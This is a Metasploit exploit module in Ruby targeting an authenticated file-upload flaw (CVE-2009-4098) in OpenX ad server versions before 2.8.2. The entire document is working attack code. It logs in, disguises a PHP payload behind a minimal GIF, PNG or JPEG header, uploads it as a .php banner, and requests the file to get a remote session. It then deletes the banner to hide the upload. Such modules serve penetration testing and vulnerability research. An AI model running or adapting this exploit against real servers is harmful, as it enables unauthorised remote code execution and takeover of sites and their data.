OpenX banner-edit.php File Upload PHP Code Execution

`##  
# $Id: openx_banner_edit.rb 9247 2010-05-08 03:07:51Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'OpenX banner-edit.php File Upload PHP Code Execution',  
'Description' => %q{  
This module exploits a vulnerability in the OpenX advertising software.  
In versions prior to version 2.8.2, authenticated users can upload files  
with arbitrary extensions to be used as banner creative content. By uploading  
a file with a PHP extension, an attacker can execute arbitrary PHP code.  
  
NOTE: The file must also return either "png", "gif", or "jpeg" as its image  
type as returned from the PHP getimagesize() function.  
},  
'Author' => [ 'jduck' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 9247 $',  
'References' =>  
[  
[ 'CVE', '2009-4098' ],  
[ 'OSVDB', '60499' ],  
[ 'BID', '37110' ],  
[ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2009-11/0166.html' ],  
[ 'URL', 'https://developer.openx.org/jira/browse/OX-5747' ],  
[ 'URL', 'http://www.openx.org/docs/2.8/release-notes/openx-2.8.2' ],  
# References for making small images:  
[ 'URL', 'http://php.net/manual/en/function.getimagesize.php' ],  
[ 'URL', 'http://gynvael.coldwind.pl/?id=223' ],  
[ 'URL', 'http://gynvael.coldwind.pl/?id=224' ],  
[ 'URL', 'http://gynvael.coldwind.pl/?id=235' ],  
[ 'URL', 'http://programming.arantius.com/the+smallest+possible+gif' ],  
[ 'URL', 'http://stackoverflow.com/questions/2253404/what-is-the-smallest-valid-jpeg-file-size-in-bytes' ]  
],  
'Privileged' => false,  
'Payload' =>  
{  
'DisableNops' => true,  
'Compat' =>  
{  
'ConnectionType' => '-find',  
},  
'Space' => 1024,  
},  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' => [[ 'Automatic', { }]],  
'DisclosureDate' => 'Nov 24 2009',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('URI', [true, "OpenX directory path", "/openx/"]),  
OptString.new('USERNAME', [ true, 'The username to authenticate as' ]),  
OptString.new('PASSWORD', [ true, 'The password for the specified username' ]),  
OptString.new('DESC', [ true, 'The description to use for the banner', 'Temporary banner']),  
], self.class)  
end  
  
def check  
uri = ''  
uri << datastore['URI']  
uri << '/' if uri[-1,1] != '/'  
uri << 'www/admin/'  
res = send_request_raw(  
{  
'uri' => uri  
}, 25)  
  
if (res and res.body =~ /v.?([0-9]\.[0-9]\.[0-9])/)  
ver = $1  
vers = ver.split('.').map { |v| v.to_i }  
return Exploit::CheckCode::Safe if (vers[0] > 2)  
return Exploit::CheckCode::Safe if (vers[1] > 8)  
return Exploit::CheckCode::Safe if (vers[0] == 2 && vers[1] == 8 && vers[2] >= 2)  
return Exploit::CheckCode::Vulnerable  
end  
  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
  
# tiny images :)  
tiny_gif = "GIF89a" +  
"\x01\x00\x01\x00\x00" +  
[1,1,0x80|(2**(2+rand(3)))].pack('nnC') +  
"\xff\xff\xff\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44\x01\x00\x3b"  
tiny_png = "\x89PNG\x0d\x0a\x1a\x0a" +  
rand_text_alphanumeric(8) +  
[1,1,0].pack('NNC')  
tiny_jpeg = "\xff\xd8\xff\xff" +  
[0xc0|rand(16), rand(8), 2**(2+rand(3)), 1, 1, 1].pack('CnCnnC')  
tiny_imgs = [ tiny_gif, tiny_png, tiny_jpeg ]  
  
# Payload  
cmd_php = '<?php ' + payload.encoded + '?>'  
content = tiny_imgs[rand(tiny_imgs.length)] + cmd_php  
  
# Static files  
img_dir = 'images/'  
uri_base = ''  
uri_base << datastore['URI']  
uri_base << '/' if uri_base[-1,1] != '/'  
uri_base << 'www/'  
  
# Need to login first :-/  
cookie = openx_login(uri_base)  
if (not cookie)  
raise RuntimeError, 'Unable to login!'  
end  
print_status("Logged in successfully (cookie: #{cookie})")  
  
# Now, check for an advertiser / campaign  
ids = openx_find_campaign(uri_base, cookie)  
if (not ids)  
# TODO: try to add an advertiser and/or campaign  
raise RuntimeError, 'The system has no advertisers or campaigns!'  
end  
adv_id = ids[0]  
camp_id = ids[1]  
print_status("Using advertiser #{adv_id} and campaign #{camp_id}")  
  
# Add the banner >:)  
ban_id = openx_upload_banner(uri_base, cookie, adv_id, camp_id, content)  
if (not ban_id)  
raise RuntimeError, 'Unable to upload the banner!'  
end  
print_status("Successfully uploaded the banner image with id #{ban_id}")  
  
# Find the filename  
ban_fname = openx_find_banner_filename(uri_base, cookie, adv_id, camp_id, ban_id)  
if (not ban_fname)  
raise RuntimeError, 'Unable to find the banner filename!'  
end  
print_status("Resolved banner id to name: #{ban_fname}")  
  
# Request it to trigger the payload  
res = send_request_raw({  
'uri' => uri_base + 'images/' + ban_fname + '.php'  
})  
  
# Delete the banner :)  
if (not openx_banner_delete(uri_base, cookie, adv_id, camp_id, ban_id))  
print_error("WARNING: Unable to automatically delete the banner :-/")  
else  
print_status("Successfully deleted banner # #{ban_id}")  
end  
  
print_status("You should have a session now.")  
  
handler  
  
end  
  
  
def openx_login(uri_base)  
  
res = send_request_raw(  
{  
'uri' => uri_base + 'admin/index.php'  
}, 10)  
if not (res and res.body =~ /oa_cookiecheck\" value=\"([^\"]+)\"/)  
return nil  
end  
cookie = $1  
  
res = send_request_cgi(  
{  
'method' => 'POST',  
'uri' => uri_base + 'admin/index.php',  
'vars_post' =>  
{  
'oa_cookiecheck' => cookie,  
'username' => datastore['USERNAME'],  
'password' => datastore['PASSWORD'],  
'login' => 'Login'  
},  
'headers' =>  
{  
'Cookie' => "sessionID=#{cookie}; PHPSESSID=#{cookie}",  
},  
}, 10)  
if (not res or res.code != 302)  
return nil  
end  
  
# return the cookie  
cookie  
end  
  
  
def openx_find_campaign(uri_base, cookie)  
res = send_request_raw(  
{  
'uri' => uri_base + 'admin/advertiser-campaigns.php',  
'headers' =>  
{  
'Cookie' => "sessionID=#{cookie}; PHPSESSID=#{cookie}",  
},  
})  
if not (res and res.body =~ /campaign-edit\.php\?clientid=([^&])&campaignid=([^\'])\'/)  
return nil  
end  
  
adv_id = $1.to_i  
camp_id = $2.to_i  
  
[ adv_id, camp_id ]  
end  
  
  
def mime_field(boundary, name, data, filename = nil, type = nil)  
ret = ''  
ret << '--' + boundary + "\r\n"  
ret << "Content-Disposition: form-data; name=\"#{name}\""  
if (filename)  
ret << "; filename=\"#{filename}\""  
end  
ret << "\r\n"  
if (type)  
ret << "Content-Type: #{type}\r\n"  
end  
ret << "\r\n"  
ret << data + "\r\n"  
ret  
end  
  
  
def openx_upload_banner(uri_base, cookie, adv_id, camp_id, code_img)  
# Generate some random strings  
boundary = ('-' * 8) + rand_text_alphanumeric(32)  
cmdscript = rand_text_alphanumeric(8+rand(8))  
  
# Upload payload (file ending .php)  
data = ""  
data << mime_field(boundary, "_qf__bannerForm", "")  
data << mime_field(boundary, "clientid", adv_id.to_s)  
data << mime_field(boundary, "campaignid", camp_id.to_s)  
data << mime_field(boundary, "bannerid", "")  
data << mime_field(boundary, "type", "web")  
data << mime_field(boundary, "status", "")  
data << mime_field(boundary, "MAX_FILE_SIZE", "2097152")  
data << mime_field(boundary, "replaceimage", "t")  
data << mime_field(boundary, "replacealtimage", "t")  
data << mime_field(boundary, "description", datastore['DESC'])  
data << mime_field(boundary, "upload", code_img, "#{cmdscript}.php", "application/octet-stream")  
data << mime_field(boundary, "checkswf", "1")  
data << mime_field(boundary, "uploadalt", "", "", "application/octet-stream")  
data << mime_field(boundary, "url", "http://")  
data << mime_field(boundary, "target", "")  
data << mime_field(boundary, "alt", "")  
data << mime_field(boundary, "statustext", "")  
data << mime_field(boundary, "bannertext", "")  
data << mime_field(boundary, "keyword", "")  
data << mime_field(boundary, "weight", "1")  
data << mime_field(boundary, "comments", "")  
data << mime_field(boundary, "submit", "Save changes")  
#data << mime_field(boundary, "", "")  
data << '--' + boundary + '--'  
  
res = send_request_raw(  
{  
'uri' => uri_base + "admin/banner-edit.php",  
'method' => 'POST',  
'data' => data,  
'headers' =>  
{  
'Content-Length' => data.length,  
'Content-Type' => 'multipart/form-data; boundary=' + boundary,  
'Cookie' => "sessionID=#{cookie}; PHPSESSID=#{cookie}",  
}  
}, 25)  
  
if not (res and res.code == 302 and res.headers['Location'] =~ /campaign-banners\.php/)  
return nil  
end  
  
# Ugh, now we have to get the banner id!  
res = send_request_raw(  
{  
'uri' => uri_base + "admin/campaign-banners.php?clientid=#{adv_id}&campaignid=#{camp_id}",  
'method' => 'GET',  
'headers' =>  
{  
'Cookie' => "sessionID=#{cookie}; PHPSESSID=#{cookie}",  
}  
})  
  
if not (res and res.body.length > 0)  
return nil  
end  
  
res.body.each_line { |ln|  
# make sure the title we used is on this line  
regexp = Regexp.escape(datastore['DESC'])  
next if not (ln =~ /#{regexp}/)  
  
next if not (ln =~ /banner-edit\.php\?clientid=#{adv_id}&campaignid=#{camp_id}&bannerid=([^\']+)\'/)  
  
# found it! (don't worry about dupes)  
return $1.to_i  
}  
  
# Didn't find it :-/  
nil  
end  
  
  
def openx_find_banner_filename(uri_base, cookie, adv_id, camp_id, ban_id)  
# Ugh, now we have to get the banner name too!  
res = send_request_raw(  
{  
'uri' => uri_base + "admin/banner-edit.php?clientid=#{adv_id}&campaignid=#{camp_id}&bannerid=#{ban_id}",  
'method' => 'GET',  
'headers' =>  
{  
'Cookie' => "sessionID=#{cookie}; PHPSESSID=#{cookie}",  
}  
})  
  
if not (res and res.body =~ /\/www\/images\/([0-9a-f]+)\.php/)  
return nil  
end  
  
return $1  
end  
  
  
def openx_banner_delete(uri_base, cookie, adv_id, camp_id, ban_id)  
res = send_request_raw(  
{  
'uri' => uri_base + "admin/banner-delete.php?clientid=#{adv_id}&campaignid=#{camp_id}&bannerid=#{ban_id}",  
'method' => 'GET',  
'headers' =>  
{  
'Cookie' => "sessionID=#{cookie}; PHPSESSID=#{cookie}",  
}  
})  
  
if not (res and res.code == 302 and res.headers['Location'] =~ /campaign-banners\.php/)  
return nil  
end  
  
true  
end  
  
end  
`